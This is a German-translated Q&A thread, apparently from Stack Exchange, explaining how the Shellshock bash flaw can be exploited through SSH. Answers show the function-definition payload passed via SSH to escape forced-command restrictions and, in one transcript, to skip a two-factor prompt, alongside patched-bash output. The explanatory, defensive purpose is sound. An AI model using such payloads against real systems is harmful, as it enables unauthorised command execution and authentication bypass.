Wie kann Shellshock über SSH ausgenutzt werden?

68

Anscheinend kann der Shellshock-Bash-Exploit CVE-2014-6271 über das Netzwerk via SSH ausgenutzt werden. Ich kann mir vorstellen, wie der Exploit über Apache / CGI funktionieren würde, aber ich kann mir nicht vorstellen, wie das über SSH funktionieren würde.

Kann jemand bitte ein Beispiel geben, wie SSH ausgenutzt wird und welcher Schaden dem System zugefügt werden könnte?

KLÄRUNG

AFAIU: Nur ein authentifizierter Benutzer kann diese Sicherheitsanfälligkeit über SSH ausnutzen. Welchen Nutzen hat dieser Exploit für jemanden, der überhaupt legitimen Zugriff auf das System hat? Ich meine, dieser Exploit hat keine Rechteerweiterung (er kann nicht root werden), also kann er nicht mehr, als er es hätte tun können, wenn er sich einfach legitim über SSH eingeloggt hätte.

Martin Vegter
quelle
Einfach gesagt, kann es nicht gemacht werden, es sei denn, jemand hat bereits Zugriff auf Ihre Box. Eine neue Bash-Shell wird erst nach einem erfolgreichen Anmeldeversuch ausgeführt.
Evert
Es ist alles meistens ein Medienrummel, es kann passieren, aber es ist nicht so schlimm, wie es sich gehört.
jgr208,
Gehen Benutzernamen wörtlich in die Protokolle ein? Wenn ja, gibt es vielleicht ein Logparsing-Bash-Skript, das irgendwo anfällig ist ...
PlasmaHH
1
@PlasmaHH Wenn Sie Ihr Protokollanalyse-Skript als Root ausführen, haben Sie sich das verdient, was Sie erhalten.
Barmar
@Barmar: Abgesehen davon ist die Frage nicht spezifisch, um Root-Zugriff zu erhalten, sondern um auf den Computer zuzugreifen (was alles sein kann, was benötigt wird, um ihn z. B. zu entstellen oder anderen Schaden zuzufügen) Führe Code aus, der etwas anderes ausnutzt, das dir root einbringt.
PlasmaHH

Antworten:

79

Ein Beispiel, bei dem dies ausgenutzt werden kann, sind Server mit einem authorized_keyserzwungenen Befehl. Wenn Sie einen Eintrag hinzufügen ~/.ssh/authorized_keys, können Sie der Zeile das Präfix " command="foo"to force" voranstellen, das ausgeführt werden soll, sobald der fooöffentliche Schlüssel "ssh" verwendet wird. Wenn für diesen Exploit die Shell des Zielbenutzers festgelegt ist bash, können sie den Exploit nutzen, um andere Dinge als den Befehl auszuführen, zu dem sie gezwungen werden.

Dies wäre im Beispiel wahrscheinlich sinnvoller. Hier also ein Beispiel:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Hier richten wir einen Benutzer ein testuser, der alle SSH-Verbindungen erzwingt, die mit Ihrem SSH-Schlüssel ausgeführt werden echo starting sleep; sleep 1.

Wir können dies testen mit:

$ ssh testuser@localhost echo something else
starting sleep

Beachten Sie, dass unser echo something elsenicht ausgeführt wird, aber das starting sleepzeigt, dass der erzwungene Befehl ausgeführt wurde.

Lassen Sie uns nun zeigen, wie dieser Exploit verwendet werden kann:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

Dies funktioniert, weil sshddie SSH_ORIGINAL_COMMANDUmgebungsvariable auf den übergebenen Befehl gesetzt wird. Also auch wenn sshdlief sleep, und nicht den Befehl , den ich sagte ihm, weil der Exploit, mein Code noch ausgeführt wird.

Patrick
quelle
1
Versuchen Sie stattdessen Folgendes: ssh testuser@localhost echo something else '`whoami`' Um zu beweisen, wo der Befehl ausgeführt wird
Richard
1
Ich möchte zu dieser Antwort hinzufügen, dass der Exploit in Bezug auf SSH nur einem autorisierten Benutzer mit einem autorisierten Schlüssel (ein autorisierter Schlüssel kann als langes Kennwort betrachtet werden) ermöglicht, Befehle auszuführen, für deren Ausführung er normalerweise nicht autorisiert ist. Es erlaubt niemandem ohne diesen autorisierten Schlüssel, irgendetwas zu tun. Ich denke nicht, dass dies aus der Antwort hervorgeht, wenn Sie kein anständiges Verständnis von SSH und der Bedeutung von authorized_key haben.
Chris Dragon
@skrewler Das ist normalerweise ein gutes Zeichen dafür, dass du etwas falsch interpretierst. In der Antwort wird beispielsweise erläutert, wie der Testbenutzer den angegebenen Kontostand von einem Administrator erhalten hat und wie er sich den Beschränkungen entziehen kann, die er erhalten hat. Und nein, keine Beteiligung an Bash bedeutet, dass Sie den Schock ausnutzen können. Nur wenn bash mit Berechtigungen ausgeführt wird, hat der Benutzer normalerweise keine, aber dieser Benutzer hat Einfluss auf die Umgebungsvariablen dieser bash.
Patrick
Ok, ich verstehe, was Sie jetzt zeigen möchten - ein Setup, das den Testbenutzer auf den Befehl in .authorized_keys und nicht auf eine Anmeldeshell beschränkt. Es machte für mich keinen Sinn, Ihre eigenen .authorized_keys mit einem Eintrag zu bearbeiten, der einen Befehl ausführt, wenn Sie bereits über Shell-Zugriff verfügten (da dies keine Berechtigungsausführung ermöglichen würde). Bearbeiten: Kommentar gelöscht, ich stehe korrigiert.
Skrewler
26

Ein weiteres Beispiel von Ramesh: Wenn Sie die Zwei-Faktor-Authentifizierung verwenden, können Sie den zweiten Faktor mithilfe dieses Exploits umgehen, je nachdem, wie er implementiert ist.

- Normaler Login -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- Code ohne 2FA ausführen -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

Sie werden feststellen, dass der Code ohne Aufforderung zur Eingabe von 2FA ausgeführt wurde.

- Nach dem Patchen Bash -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’
Eric Rumer
quelle
1
Nur um die Panik eventueller Leser mit dem zweiten Faktor einzuschränken: "Abhängig davon, wie er implementiert ist" - Sie haben vermutlich angenommen, dass der zweite Faktor hier in bash implementiert ist oder die readFunktion " uses" verwendet. Andernfalls ist der Benutzer in Sicherheit.
Grzegorz Wierzowiecki
25

Shellshock ist eine Sicherheitslücke in Bash, nicht in SSH. Um es auszunutzen, muss ein Angreifer das anfällige System veranlassen, bash auszuführen und den Wert einer Umgebungsvariablen zu steuern, die an bash übergeben wird.

Um einen Bash-Prozess über SSH zu erreichen, muss der Angreifer die Authentifizierungsschritte bestehen. (Es kann Angriffsvektoren über andere Netzwerkdienste geben, die jedoch den Rahmen dieses Threads sprengen.) Wenn das Konto ohnehin beliebige Shell-Befehle ausführen darf, liegt kein Angriff vor. Die Sicherheitsanfälligkeit tritt auf, wenn das Konto auf die Ausführung bestimmter Befehle beschränkt ist, z. B. ein SFTP-Konto oder ein Git-Konto.

Es gibt verschiedene Möglichkeiten, ein Konto auf die Ausführung eines bestimmten Befehls mit SSH zu beschränken: mit der ForceCommandOption in sshd_configoder mit einem command=. Einschränkung in der authorized_keysDatei. Handelt es sich bei der Shell des Benutzers um eine Bash-Shell, kann ein Benutzer, der normalerweise nur auf das eingeschränkte Konto zugreifen würde, die Einschränkung umgehen und beliebige Befehle ausführen.

Gilles
quelle
Und das funktioniert NICHT für andere Shells, wie zsh.
Eir Nym